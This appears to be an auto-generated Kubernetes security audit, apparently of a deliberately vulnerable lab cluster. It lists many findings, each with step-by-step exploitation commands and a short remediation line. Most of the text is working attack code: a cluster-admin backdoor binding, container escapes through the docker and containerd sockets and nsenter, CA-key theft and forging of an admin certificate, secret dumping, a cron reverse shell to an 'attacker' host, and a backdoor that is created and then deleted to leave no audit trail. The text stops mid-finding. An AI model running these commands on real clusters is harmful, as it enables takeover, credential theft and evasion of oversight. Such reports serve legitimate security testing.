# CRITICAL: API Server Anonymous Access Enabled

# Get the API server address from current kubeconfig
API_SERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
echo "API Server: $API_SERVER"

# Test unauthenticated access (no token, no cert)
curl -sk $API_SERVER/api/v1/namespaces | python3 -c \
  "import sys,json; [print(n['metadata']['name']) for n in json.load(sys.stdin)['items']]"

# Enumerate resources without authentication
curl -sk $API_SERVER/api/v1/secrets
curl -sk $API_SERVER/apis/rbac.authorization.k8s.io/v1/clusterrolebindings

# Check what anonymous can actually do
kubectl auth can-i --list --as=system:anonymous -A

# If anonymous has any write access — create backdoor
curl -sk -X POST $API_SERVER/apis/rbac.authorization.k8s.io/v1/clusterrolebindings \
  -H "Content-Type: application/json" \
  -d '{"apiVersion":"rbac.authorization.k8s.io/v1","kind":"ClusterRoleBinding",
       "metadata":{"name":"anon-admin"},
       "roleRef":{"kind":"ClusterRole","name":"cluster-admin","apiGroup":"rbac.authorization.k8s.io"},
       "subjects":[{"kind":"User","name":"system:anonymous","apiGroup":"rbac.authorization.k8s.io"}]}'

# REMEDIATION: Set --anonymous-auth=false on kube-apiserver:
# /etc/kubernetes/manifests/kube-apiserver.yaml: add --anonymous-auth=false

# CRITICAL: Containerd Socket Mount

kubectl exec -it deploy/health-check-deployment -n default -c health-check-deployment -- /bin/sh
ctr -n k8s.io --address /run/containerd/containerd.sock containers ls
ctr -n k8s.io --address /run/containerd/containerd.sock run \
  --rm -t --privileged \
  --mount type=bind,src=/,dst=/host,options=rbind:rw \
  docker.io/library/alpine:latest rootsh /bin/sh

# REMEDIATION: Never mount containerd socket into pods

# CRITICAL: Docker Socket Mount - Node Takeover

kubectl exec -it deploy/health-check-deployment -n default -c health-check-deployment -- /bin/sh
ls -la /var/run/docker.sock

docker -H unix:///var/run/docker.sock run -it --privileged --pid=host \
  -v /:/host alpine chroot /host /bin/sh

# REMEDIATION: Never mount docker.sock into pods

# HIGH: Broad Namespace Access - Privilege Escalation and Lateral Movement

kubectl get rolebinding superadmin -n cluster-wide -o yaml
kubectl describe role superadmin -n cluster-wide
kubectl auth can-i --list -n cluster-wide

# REMEDIATION: Restrict bindings to specific users/SA instead of broad groups

# CRITICAL: Privileged Container - Host Escape via nsenter

# Step 1: Escape to host via nsenter (PID 1 = host init process)
kubectl exec -it deploy/system-monitor-deployment -n default -c system-monitor -- nsenter -t 1 -m -u -n -i sh
# Output: ROOT shell on host! (uid=0)

# Step 2: Alternative - Mount host disk
kubectl exec -it deploy/system-monitor-deployment -n default -c system-monitor -- /bin/sh
fdisk -l | grep /dev
mkdir -p /host && mount /dev/sda1 /host
cat /host/root/.ssh/id_rsa
cat /host/var/lib/kubelet/kubeconfig

# REMEDIATION: Never use privileged: true in production

# CRITICAL: Privileged Container - Host Escape via nsenter

# Step 1: Escape to host via nsenter (PID 1 = host init process)
kubectl exec -it deploy/health-check-deployment -n default -c health-check -- nsenter -t 1 -m -u -n -i sh
# Output: ROOT shell on host! (uid=0)

# Step 2: Alternative - Mount host disk
kubectl exec -it deploy/health-check-deployment -n default -c health-check -- /bin/sh
fdisk -l | grep /dev
mkdir -p /host && mount /dev/sda1 /host
cat /host/root/.ssh/id_rsa
cat /host/var/lib/kubelet/kubeconfig

# REMEDIATION: Never use privileged: true in production

# HIGH: Critical HostPath Mount - Kubernetes/System Credential Theft

kubectl exec -it deploy/health-check-deployment -n default -c health-check-deployment -- /bin/sh

# Kubernetes PKI mount (/etc/kubernetes)
ls /mnt/pki/
cat /mnt/pki/ca.key 2>/dev/null   # Cluster CA private key — sign any cert
cat /mnt/pki/etcd/ca.key 2>/dev/null  # etcd CA key

# Kubelet config mount (/var/lib/kubelet)
cat /mnt/config.yaml 2>/dev/null  # kubelet kubeconfig with node credentials
cat /mnt/kubeconfig 2>/dev/null

# System /etc mount — persistence
echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'" \
  >> /mnt/cron.d/backdoor 2>/dev/null

# REMEDIATION: Never mount /etc/kubernetes, /var/lib/kubelet, /, /etc, /proc, /sys.
# Use Projected Volumes or Secrets for specific credentials.

# HIGH: Critical HostPath Mount - Kubernetes/System Credential Theft

kubectl exec -it deploy/system-monitor-deployment -n default -c system-monitor-deployment -- /bin/sh

# Kubernetes PKI mount (/etc/kubernetes)
ls /mnt/pki/
cat /mnt/pki/ca.key 2>/dev/null   # Cluster CA private key — sign any cert
cat /mnt/pki/etcd/ca.key 2>/dev/null  # etcd CA key

# Kubelet config mount (/var/lib/kubelet)
cat /mnt/config.yaml 2>/dev/null  # kubelet kubeconfig with node credentials
cat /mnt/kubeconfig 2>/dev/null

# System /etc mount — persistence
echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'" \
  >> /mnt/cron.d/backdoor 2>/dev/null

# REMEDIATION: Never mount /etc/kubernetes, /var/lib/kubelet, /, /etc, /proc, /sys.
# Use Projected Volumes or Secrets for specific credentials.

# CRITICAL: Wildcard Permissions — RBAC → Namespace Bypass → Cluster Takeover

# Step 1: Verify wildcard scope — exec into any pod to extract its SA token
TARGET_POD=$(kubectl get pods -n big-monolith --no-headers -o custom-columns=":metadata.name" | head -1)
echo "Extracting token from pod: $TARGET_POD"
TOKEN=$(kubectl exec -it $TARGET_POD -n big-monolith -- \
  cat /var/run/secrets/kubernetes.io/serviceaccount/token)
kubectl auth can-i '*' '*' --token=$TOKEN -n big-monolith
# Output: "yes" = CONFIRMED wildcard

# Step 2: Deploy privileged escape pod
kubectl apply --token=$TOKEN -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: escape-pod
  namespace: big-monolith
spec:
  hostPID: true
  hostNetwork: true
  volumes:
  - name: host-root
    hostPath:
      path: /
  containers:
  - name: escape
    image: alpine
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
    command: ["sleep", "3600"]
EOF

# Step 3: Escape to host
kubectl exec -it escape-pod -n big-monolith -- nsenter -t 1 -m -u -n -i sh
# You are now root on the NODE — namespace isolation BROKEN

# Step 4: Steal cluster CA and forge admin cert
cat /etc/kubernetes/pki/ca.key  # Private key obtained
openssl genrsa -out /tmp/admin.key 2048
openssl req -new -key /tmp/admin.key -out /tmp/admin.csr \
  -subj "/CN=cluster-admin/O=system:masters"
openssl x509 -req -in /tmp/admin.csr -CA /etc/kubernetes/pki/ca.crt \
  -CAkey /etc/kubernetes/pki/ca.key -CAcreateserial -out /tmp/admin.crt
kubectl --client-certificate=/tmp/admin.crt --client-key=/tmp/admin.key \
  --certificate-authority=/etc/kubernetes/pki/ca.crt \
  get secrets -A  # All secrets across ALL namespaces

# REMEDIATION: Replace wildcard rules with specific verb+resource combinations.
# Never use resources: ["*"] or verbs: ["*"] in production roles.

# CRITICAL: system:masters Group Binding - Absolute Cluster Control

# Identify the binding
kubectl get clusterrolebinding cluster-admin -o yaml

# If you have access to the bound credential, verify superpower:
kubectl auth can-i '*' '*' --all-namespaces
# yes → CRITICAL

kubectl get secrets -A  # All secrets in all namespaces
kubectl create clusterrolebinding backdoor \
  --clusterrole=cluster-admin \
  --user=attacker@example.com

kubectl delete clusterrolebinding cluster-admin  # Remove the evidence

# REMEDIATION: Immediately remove the ClusterRoleBinding to system:masters.
# Rotate all credentials that were members of this group.
kubectl delete clusterrolebinding cluster-admin

# HIGH: Cross-Namespace ServiceAccount Binding - Lateral Movement

# Step 1: Identify the binding and extract source SA details dynamically
kubectl get rolebinding system:controller:bootstrap-signer -n kube-public -o yaml | grep -A5 subjects:
SA_NS=$(kubectl get rolebinding system:controller:bootstrap-signer -n kube-public \
  -o jsonpath='{.subjects[0].namespace}')
SA_NAME=$(kubectl get rolebinding system:controller:bootstrap-signer -n kube-public \
  -o jsonpath='{.subjects[0].name}')
echo "Source SA: $SA_NAME in namespace $SA_NS"

# Step 2: Find a pod in source namespace running as that SA
SOURCE_POD=$(kubectl get pods -n $SA_NS \
  --field-selector=spec.serviceAccountName=$SA_NAME \
  --no-headers -o custom-columns=":metadata.name" | head -1)
CONTAINER=$(kubectl get pod $SOURCE_POD -n $SA_NS \
  -o jsonpath='{.spec.containers[0].name}')
echo "Token source: $SOURCE_POD / $CONTAINER"

# Step 3: Read the SA token from that pod
TOKEN=$(kubectl exec $SOURCE_POD -n $SA_NS -c $CONTAINER -- \
  cat /var/run/secrets/kubernetes.io/serviceaccount/token)

# Step 4: Use token to access TARGET namespace
kubectl auth can-i --list \
  --token=$TOKEN -n kube-public

curl -sk -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default.svc/api/v1/namespaces/kube-public/secrets

# REMEDIATION: Remove cross-namespace subject from RoleBinding. Use namespace-local SA.

# HIGH: Dangerous Permission Combination — create/update pods

# Step 1: Exec into any pod to extract its SA token and confirm permissions
TARGET_POD=$(kubectl get pods -n local-path-storage --no-headers -o custom-columns=":metadata.name" | head -1)
echo "Token source: $TARGET_POD"
TOKEN=$(kubectl exec $TARGET_POD -n local-path-storage -- \
  cat /var/run/secrets/kubernetes.io/serviceaccount/token)
kubectl auth can-i --list --token=$TOKEN -n local-path-storage

# Step 2: If pods/create is among the granted permissions — deploy escape pod
kubectl apply --token=$TOKEN -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: priv-escape
  namespace: local-path-storage
spec:
  hostPID: true
  hostNetwork: true
  volumes:
  - name: host-root
    hostPath:
      path: /
  containers:
  - name: escape
    image: alpine
    command: ["sleep", "3600"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
EOF
kubectl exec -it priv-escape -n local-path-storage -- nsenter -t 1 -m -u -n -i sh
# Result: ROOT on host — namespace isolation BROKEN

# Step 3: If secrets/get is granted — dump all credentials
kubectl get secrets -n local-path-storage -o json --token=$TOKEN | \
  python3 -c "import sys,json,base64; \
  [print(s['metadata']['name'], {k:base64.b64decode(v).decode() for k,v in s.get('data',{}).items()}) \
  for s in json.load(sys.stdin)['items']]"

# REMEDIATION: Remove dangerous permission combinations. Apply least-privilege.

# HIGH: Dangerous Permission Combination — delete persistent volumes

# Step 1: Exec into any pod to extract its SA token and confirm permissions
TARGET_POD=$(kubectl get pods -n default --no-headers -o custom-columns=":metadata.name" | head -1)
echo "Token source: $TARGET_POD"
TOKEN=$(kubectl exec $TARGET_POD -n default -- \
  cat /var/run/secrets/kubernetes.io/serviceaccount/token)
kubectl auth can-i --list --token=$TOKEN -n default

# Step 2: If pods/create is among the granted permissions — deploy escape pod
kubectl apply --token=$TOKEN -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: priv-escape
  namespace: default
spec:
  hostPID: true
  hostNetwork: true
  volumes:
  - name: host-root
    hostPath:
      path: /
  containers:
  - name: escape
    image: alpine
    command: ["sleep", "3600"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
EOF
kubectl exec -it priv-escape -n default -- nsenter -t 1 -m -u -n -i sh
# Result: ROOT on host — namespace isolation BROKEN

# Step 3: If secrets/get is granted — dump all credentials
kubectl get secrets -n default -o json --token=$TOKEN | \
  python3 -c "import sys,json,base64; \
  [print(s['metadata']['name'], {k:base64.b64decode(v).decode() for k,v in s.get('data',{}).items()}) \
  for s in json.load(sys.stdin)['items']]"

# REMEDIATION: Remove dangerous permission combinations. Apply least-privilege.

# MEDIUM: Missing Network Policy - Lateral Movement

kubectl get networkpolicies -n local-path-storage
# "No resources found" = VULNERABLE

kubectl run lateral-test --rm -it --image=nicolaka/netshoot --image-pull-policy=IfNotPresent -n local-path-storage -- /bin/bash
nmap -sT -p 80,443,3306,5432,6379,27017,9200 10.96.0.0/12 --open -T4
redis-cli -h <REDIS_SVC>.local-path-storage.svc.cluster.local

# REMEDIATION: Apply default-deny NetworkPolicy

# MEDIUM: Missing Network Policy - Lateral Movement

kubectl get networkpolicies -n secure-middleware
# "No resources found" = VULNERABLE

kubectl run lateral-test --rm -it --image=nicolaka/netshoot --image-pull-policy=IfNotPresent -n secure-middleware -- /bin/bash
nmap -sT -p 80,443,3306,5432,6379,27017,9200 10.96.0.0/12 --open -T4
redis-cli -h <REDIS_SVC>.secure-middleware.svc.cluster.local

# REMEDIATION: Apply default-deny NetworkPolicy

# MEDIUM: Missing Network Policy - Lateral Movement

kubectl get networkpolicies -n default
# "No resources found" = VULNERABLE

kubectl run lateral-test --rm -it --image=nicolaka/netshoot --image-pull-policy=IfNotPresent -n default -- /bin/bash
nmap -sT -p 80,443,3306,5432,6379,27017,9200 10.96.0.0/12 --open -T4
redis-cli -h <REDIS_SVC>.default.svc.cluster.local

# REMEDIATION: Apply default-deny NetworkPolicy

# MEDIUM: Missing Network Policy - Lateral Movement

kubectl get networkpolicies -n big-monolith
# "No resources found" = VULNERABLE

kubectl run lateral-test --rm -it --image=nicolaka/netshoot --image-pull-policy=IfNotPresent -n big-monolith -- /bin/bash
nmap -sT -p 80,443,3306,5432,6379,27017,9200 10.96.0.0/12 --open -T4
redis-cli -h <REDIS_SVC>.big-monolith.svc.cluster.local

# REMEDIATION: Apply default-deny NetworkPolicy

# HIGH: Secrets Read Access - Direct Credential Extraction

kubectl get secrets -n big-monolith

# Decode every field of each secret dynamically
SECRET=$(kubectl get secrets -n big-monolith --no-headers \
  -o custom-columns=":metadata.name" | grep -v "default-token" | head -1)
kubectl get secret $SECRET -n big-monolith -o jsonpath="{.data}" | \
  python3 -c "import sys,json,base64; d=json.load(sys.stdin); [print(f'{k}: {base64.b64decode(v).decode()}') for k,v in d.items()]"

# HIGH: Secrets Read Access - Direct Credential Extraction

kubectl get secrets -n default

# Decode every field of each secret dynamically
SECRET=$(kubectl get secrets -n default --no-headers \
  -o custom-columns=":metadata.name" | grep -v "default-token" | head -1)
kubectl get secret $SECRET -n default -o jsonpath="{.data}" | \
  python3 -c "import sys,json,base64; d=json.load(sys.stdin); [print(f'{k}: {base64.b64decode(v).decode()}') for k,v in d.items()]"

# HIGH: etcd Encryption at Rest Not Configured

# Verify secrets are stored in plaintext:
ETCDCTL_API=3 etcdctl --endpoints=https://127.0.0.1:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets/default/my-secret | hexdump -C | grep -i "password\|token\|key"

# REMEDIATION: Create /etc/kubernetes/enc/enc.yaml with AES-GCM provider,
# then add --encryption-provider-config=/etc/kubernetes/enc/enc.yaml to kube-apiserver

# HIGH: hostIPC Enabled - Shared Memory Access

kubectl exec -it deploy/system-monitor-deployment -n default -c system-monitor-deployment -- /bin/sh
ipcs -m
ls -la /dev/shm/
strings /dev/shm/* 2>/dev/null | grep -i "password\|token\|secret\|key"

# REMEDIATION: Set hostIPC: false

# HIGH: hostPID Enabled - Host Process Access & Escape

kubectl exec -it deploy/system-monitor-deployment -n default -c system-monitor-deployment -- nsenter -t 1 -m -u -n -i sh

# Alternative: process memory extraction
kubectl exec -it deploy/system-monitor-deployment -n default -c system-monitor-deployment -- /bin/sh
ps aux
cat /proc/$(pgrep kubelet)/environ | tr '\0' '\n'

# REMEDIATION: Set hostPID: false

# MEDIUM: API Server Audit Logging Disabled

# Step 1: Verify audit logging is absent from kube-apiserver flags
kubectl get pod -n kube-system -l component=kube-apiserver \
  -o jsonpath='{.items[0].spec.containers[0].command}' | \
  python3 -c "
import sys, json
cmds = json.load(sys.stdin)
audit_flags = [c for c in cmds if 'audit' in c]
if audit_flags:
    print('Audit flags found:', audit_flags)
else:
    print('NO AUDIT FLAGS — audit logging is DISABLED')
"

# Step 2: Confirm — all of these actions generate ZERO log entries:
kubectl get secrets -A  # Reads all secrets — completely unrecorded

kubectl create clusterrolebinding silent-backdoor \
  --clusterrole=cluster-admin --user=attacker@example.com
# Backdoor created — no SIEM alert, no audit entry, no evidence

kubectl auth can-i '*' '*' --all-namespaces --as=attacker@example.com
# yes = backdoor confirmed, still no log written

kubectl delete clusterrolebinding silent-backdoor
# Cleaned up — zero forensic trace of the entire operation

# Step 3: Check for audit log file or webhook on control-plane node
APISERVER_POD=$(kubectl get pod -n kube-system -l component=kube-apiserver \
  -o jsonpath='{.items[0].metadata.name}')
kubectl get pod $APISERVER_POD -n kube-system -o yaml | \
  grep -E "audit-log-path|audit-policy-file|audit-webhook"
# No output = CONFIRMED disabled

# REMEDIATION: Create /etc/kubernetes/audit-policy.yaml and add to kube-apiserver:
# --audit-log-path=/var/log/kubernetes/audit.log
# --audit-policy-file=/etc/kubernetes/audit-policy.yaml
# --audit-log-maxage=30
# --audit-log-maxbackup=10

# MEDIUM: API Server Profiling Enabled - Memory Disclosure

API_SERVER=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')
TOKEN=$(kubectl create token default -n default 2>/dev/null || \
  kubectl get secret -n kube-system -o jsonpath='{.items[0].data.token}' | base64 --decode)

# Access profiling endpoints (requires API access)
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$API_SERVER/debug/pprof/" 2>&1 | head -20

# Fetch goroutine trace (may contain secret values in stack frames)
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$API_SERVER/debug/pprof/goroutine?debug=2" | grep -i "token\|secret\|password"

# REMEDIATION: Set --profiling=false in kube-apiserver manifest:
# /etc/kubernetes/manifests/kube-apiserver.yaml: add --profiling=false

# MEDIUM: Container Running as Root

kubectl exec -it deploy/health-check-deployment -n default -c health-check -- /bin/sh
id
# uid=0(root) — HIGH RISK

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces

# REMEDIATION: Set runAsNonRoot: true, readOnlyRootFilesystem: true

# MEDIUM: Container Running as Root

kubectl exec -it deploy/system-monitor-deployment -n default -c system-monitor -- /bin/sh
id
# uid=0(root) — HIGH RISK

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces

# REMEDIATION: Set runAsNonRoot: true, readOnlyRootFilesystem: true

# HIGH: Controller Manager Bound to All Interfaces

# Access controller manager metrics from inside the cluster
kubectl run metrics-test --rm -it --image=alpine --restart=Never -n kube-system -- \
  sh -c "apk add curl -q && curl -sk https://localhost:10257/metrics | head -50"

# From any pod (if network accessible)
NODE_IP=$(kubectl get nodes -o jsonpath='{.items[0].status.addresses[?(@.type=="InternalIP")].address}')
curl -sk https://$NODE_IP:10257/metrics | grep -E "^go_|^process_|certificate"

# REMEDIATION: Set --bind-address=127.0.0.1 in controller manager manifest:
# /etc/kubernetes/manifests/kube-controller-manager.yaml:
# - --bind-address=127.0.0.1

# MEDIUM: Default Service Account Usage - Unintended API Access

kubectl get rolebindings,clusterrolebindings -A -o json | \
  jq '.items[] | select(.subjects[]?.name=="default") | {name: .metadata.name, ns: .metadata.namespace, role: .roleRef.name}'

kubectl auth can-i --list --as=system:serviceaccount:secure-middleware:default -n secure-middleware

# REMEDIATION: Create dedicated ServiceAccounts for workloads

# MEDIUM: Default Service Account Usage - Unintended API Access

kubectl get rolebindings,clusterrolebindings -A -o json | \
  jq '.items[] | select(.subjects[]?.name=="default") | {name: .metadata.name, ns: .metadata.namespace, role: .roleRef.name}'

kubectl auth can-i --list --as=system:serviceaccount:default:default -n default

# REMEDIATION: Create dedicated ServiceAccounts for workloads

# MEDIUM: Image Not Pinned to Digest - Supply Chain Risk

# Check current image reference (tag-based, not digest)
kubectl get Deployment hunger-check-deployment -n big-monolith \
  -o jsonpath='{.spec.template.spec.containers[*].image}'
# Format: registry/image:tag (no @sha256: = VULNERABLE)

# Get the current image digest (what is ACTUALLY running)
kubectl get pod -n big-monolith -l app=hunger-check-deployment \
  -o jsonpath='{.items[0].status.containerStatuses[*].imageID}'
# Shows the actual sha256 digest being used

# Verify the tag can be overwritten (registry allows push without immutable tags)
docker pull <REGISTRY>/<IMAGE>:<TAG>
docker tag malicious-image:latest <REGISTRY>/<IMAGE>:<TAG>
docker push <REGISTRY>/<IMAGE>:<TAG>  # Overwrites the tag!

# REMEDIATION: Pin to digest instead of tag:
# image: nginx@sha256:abc123...  (get digest: docker inspect --format='{{index .RepoDigests 0}}' nginx:1.25)

# MEDIUM: Image Not Pinned to Digest - Supply Chain Risk

# Check current image reference (tag-based, not digest)
kubectl get Deployment poor-registry-deployment -n default \
  -o jsonpath='{.spec.template.spec.containers[*].image}'
# Format: registry/image:tag (no @sha256: = VULNERABLE)

# Get the current image digest (what is ACTUALLY running)
kubectl get pod -n default -l app=poor-registry-deployment \
  -o jsonpath='{.items[0].status.containerStatuses[*].imageID}'
# Shows the actual sha256 digest being used

# Verify the tag can be overwritten (registry allows push without immutable tags)
docker pull <REGISTRY>/<IMAGE>:<TAG>
docker tag malicious-image:latest <REGISTRY>/<IMAGE>:<TAG>
docker push <REGISTRY>/<IMAGE>:<TAG>  # Overwrites the tag!

# REMEDIATION: Pin to digest instead of tag:
# image: nginx@sha256:abc123...  (get digest: docker inspect --format='{{index .RepoDigests 0}}' nginx:1.25)

# MEDIUM: Image Not Pinned to Digest - Supply Chain Risk

# Check current image reference (tag-based, not digest)
kubectl get Deployment metadata-db -n default \
  -o jsonpath='{.spec.template.spec.containers[*].image}'
# Format: registry/image:tag (no @sha256: = VULNERABLE)

# Get the current image digest (what is ACTUALLY running)
kubectl get pod -n default -l app=metadata-db \
  -o jsonpath='{.items[0].status.containerStatuses[*].imageID}'
# Shows the actual sha256 digest being used

# Verify the tag can be overwritten (registry allows push without immutable tags)
docker pull <REGISTRY>/<IMAGE>:<TAG>
docker tag malicious-image:latest <REGISTRY>/<IMAGE>:<TAG>
docker push <REGISTRY>/<IMAGE>:<TAG>  # Overwrites the tag!

# REMEDIATION: Pin to digest instead of tag:
# image: nginx@sha256:abc123...  (get digest: docker inspect --format='{{index .RepoDigests 0}}' nginx:1.25)

# MEDIUM: Image Not Pinned to Digest - Supply Chain Risk

# Check current image reference (tag-based, not digest)
kubectl get Deployment system-monitor-deployment -n default \
  -o jsonpath='{.spec.template.spec.containers[*].image}'
# Format: registry/image:tag (no @sha256: = VULNERABLE)

# Get the current image digest (what is ACTUALLY running)
kubectl get pod -n default -l app=system-monitor-deployment \
  -o jsonpath='{.items[0].status.containerStatuses[*].imageID}'
# Shows the actual sha256 digest being used

# Verify the tag can be overwritten (registry allows push without immutable tags)
docker pull <REGISTRY>/<IMAGE>:<TAG>
docker tag malicious-image:latest <REGISTRY>/<IMAGE>:<TAG>
docker push <REGISTRY>/<IMAGE>:<TAG>  # Overwrites the tag!

# REMEDIATION: Pin to digest instead of tag:
# image: nginx@sha256:abc123...  (get digest: docker inspect --format='{{index .RepoDigests 0}}' nginx:1.25)

# MEDIUM: Image Not Pinned to Digest - Supply Chain Risk

# Check current image reference (tag-based, not digest)
kubectl get Deployment kubernetes-goat-home-deployment -n default \
  -o jsonpath='{.spec.template.spec.containers[*].image}'
# Format: registry/image:tag (no @sha256: = VULNERABLE)

# Get the current image digest (what is ACTUALLY running)
kubectl get pod -n default -l app=kubernetes-goat-home-deployment \
  -o jsonpath='{.items[0].status.containerStatuses[*].imageID}'
# Shows the actual sha256 digest being used

# Verify the tag can be overwritten (registry allows push without immutable tags)
docker pull <REGISTRY>/<IMAGE>:<TAG>
docker tag malicious-image:latest <REGISTRY>/<IMAGE>:<TAG>
docker push <REGISTRY>/<IMAGE>:<TAG>  # Overwrites the tag!

# REMEDIATION: Pin to digest instead of tag:
# image: nginx@sha256:abc123...  (get digest: docker inspect --format='{{index .RepoDigests 0}}' nginx:1.25)

# MEDIUM: Image Not Pinned to Digest - Supply Chain Risk

# Check current image reference (tag-based, not digest)
kubectl get Deployment internal-proxy-deployment -n default \
  -o jsonpath='{.spec.template.spec.containers[*].image}'
# Format: registry/image:tag (no @sha256: = VULNERABLE)

# Get the current image digest (what is ACTUALLY running)
kubectl get pod -n default -l app=internal-proxy-deployment \
  -o jsonpath='{.items[0].status.containerStatuses[*].imageID}'
# Shows the actual sha256 digest being used

# Verify the tag can be overwritten (registry allows push without immutable tags)
docker pull <REGISTRY>/<IMAGE>:<TAG>
docker tag malicious-image:latest <REGISTRY>/<IMAGE>:<TAG>
docker push <REGISTRY>/<IMAGE>:<TAG>  # Overwrites the tag!

# REMEDIATION: Pin to digest instead of tag:
# image: nginx@sha256:abc123...  (get digest: docker inspect --format='{{index .RepoDigests 0}}' nginx:1.25)

# MEDIUM: Image Not Pinned to Digest - Supply Chain Risk

# Check current image reference (tag-based, not digest)
kubectl get Deployment cache-store-deployment -n secure-middleware \
  -o jsonpath='{.spec.template.spec.containers[*].image}'
# Format: registry/image:tag (no @sha256: = VULNERABLE)

# Get the current image digest (what is ACTUALLY running)
kubectl get pod -n secure-middleware -l app=cache-store-deployment \
  -o jsonpath='{.items[0].status.containerStatuses[*].imageID}'
# Shows the actual sha256 digest being used

# Verify the tag can be overwritten (registry allows push without immutable tags)
docker pull <REGISTRY>/<IMAGE>:<TAG>
docker tag malicious-image:latest <REGISTRY>/<IMAGE>:<TAG>
docker push <REGISTRY>/<IMAGE>:<TAG>  # Overwrites the tag!

# REMEDIATION: Pin to digest instead of tag:
# image: nginx@sha256:abc123...  (get digest: docker inspect --format='{{index .RepoDigests 0}}' nginx:1.25)

# MEDIUM: Image Not Pinned to Digest - Supply Chain Risk

# Check current image reference (tag-based, not digest)
kubectl get Deployment health-check-deployment -n default \
  -o jsonpath='{.spec.template.spec.containers[*].image}'
# Format: registry/image:tag (no @sha256: = VULNERABLE)

# Get the current image digest (what is ACTUALLY running)
kubectl get pod -n default -l app=health-check-deployment \
  -o jsonpath='{.items[0].status.containerStatuses[*].imageID}'
# Shows the actual sha256 digest being used

# Verify the tag can be overwritten (registry allows push without immutable tags)
docker pull <REGISTRY>/<IMAGE>:<TAG>
docker tag malicious-image:latest <REGISTRY>/<IMAGE>:<TAG>
docker push <REGISTRY>/<IMAGE>:<TAG>  # Overwrites the tag!

# REMEDIATION: Pin to digest instead of tag:
# image: nginx@sha256:abc123...  (get digest: docker inspect --format='{{index .RepoDigests 0}}' nginx:1.25)

# MEDIUM: Image Not Pinned to Digest - Supply Chain Risk

# Check current image reference (tag-based, not digest)
kubectl get Deployment local-path-provisioner -n local-path-storage \
  -o jsonpath='{.spec.template.spec.containers[*].image}'
# Format: registry/image:tag (no @sha256: = VULNERABLE)

# Get the current image digest (what is ACTUALLY running)
kubectl get pod -n local-path-storage -l app=local-path-provisioner \
  -o jsonpath='{.items[0].status.containerStatuses[*].imageID}'
# Shows the actual sha256 digest being used

# Verify the tag can be overwritten (registry allows push without immutable tags)
docker pull <REGISTRY>/<IMAGE>:<TAG>
docker tag malicious-image:latest <REGISTRY>/<IMAGE>:<TAG>
docker push <REGISTRY>/<IMAGE>:<TAG>  # Overwrites the tag!

# REMEDIATION: Pin to digest instead of tag:
# image: nginx@sha256:abc123...  (get digest: docker inspect --format='{{index .RepoDigests 0}}' nginx:1.25)

# MEDIUM: Image Not Pinned to Digest - Supply Chain Risk

# Check current image reference (tag-based, not digest)
kubectl get Deployment build-code-deployment -n default \
  -o jsonpath='{.spec.template.spec.containers[*].image}'
# Format: registry/image:tag (no @sha256: = VULNERABLE)

# Get the current image digest (what is ACTUALLY running)
kubectl get pod -n default -l app=build-code-deployment \
  -o jsonpath='{.items[0].status.containerStatuses[*].imageID}'
# Shows the actual sha256 digest being used

# Verify the tag can be overwritten (registry allows push without immutable tags)
docker pull <REGISTRY>/<IMAGE>:<TAG>
docker tag malicious-image:latest <REGISTRY>/<IMAGE>:<TAG>
docker push <REGISTRY>/<IMAGE>:<TAG>  # Overwrites the tag!

# REMEDIATION: Pin to digest instead of tag:
# image: nginx@sha256:abc123...  (get digest: docker inspect --format='{{index .RepoDigests 0}}' nginx:1.25)

# MEDIUM: Missing Resource Limits - Node Resource Exhaustion / DoS

# Verify no limits are set
kubectl describe Job batch-check-job -n default | grep -A5 "Limits"
kubectl get Job batch-check-job -n default -o yaml | grep -A4 "resources:"
# Expected: limits: {} or missing = VULNERABLE

# Simulate CPU exhaustion from inside a limitless container:
kubectl exec -it <pod> -n default -- sh -c "while :; do :; done &"
# With no limit, this loop consumes 100% of a CPU core and cannot be throttled

# Check node pressure caused by this workload:
kubectl describe node | grep -A5 "Conditions:\|Allocated resources"

# REMEDIATION: Set resources.limits.cpu and resources.limits.memory on every container

# MEDIUM: Missing Resource Limits - Node Resource Exhaustion / DoS

# Verify no limits are set
kubectl describe Deployment health-check-deployment -n default | grep -A5 "Limits"
kubectl get Deployment health-check-deployment -n default -o yaml | grep -A4 "resources:"
# Expected: limits: {} or missing = VULNERABLE

# Simulate CPU exhaustion from inside a limitless container:
kubectl exec -it <pod> -n default -- sh -c "while :; do :; done &"
# With no limit, this loop consumes 100% of a CPU core and cannot be throttled

# Check node pressure caused by this workload:
kubectl describe node | grep -A5 "Conditions:\|Allocated resources"

# REMEDIATION: Set resources.limits.cpu and resources.limits.memory on every container

# MEDIUM: Missing Resource Limits - Node Resource Exhaustion / DoS

# Verify no limits are set
kubectl describe Deployment local-path-provisioner -n local-path-storage | grep -A5 "Limits"
kubectl get Deployment local-path-provisioner -n local-path-storage -o yaml | grep -A4 "resources:"
# Expected: limits: {} or missing = VULNERABLE

# Simulate CPU exhaustion from inside a limitless container:
kubectl exec -it <pod> -n local-path-storage -- sh -c "while :; do :; done &"
# With no limit, this loop consumes 100% of a CPU core and cannot be throttled

# Check node pressure caused by this workload:
kubectl describe node | grep -A5 "Conditions:\|Allocated resources"

# REMEDIATION: Set resources.limits.cpu and resources.limits.memory on every container

# MEDIUM: Missing Resource Limits - Node Resource Exhaustion / DoS

# Verify no limits are set
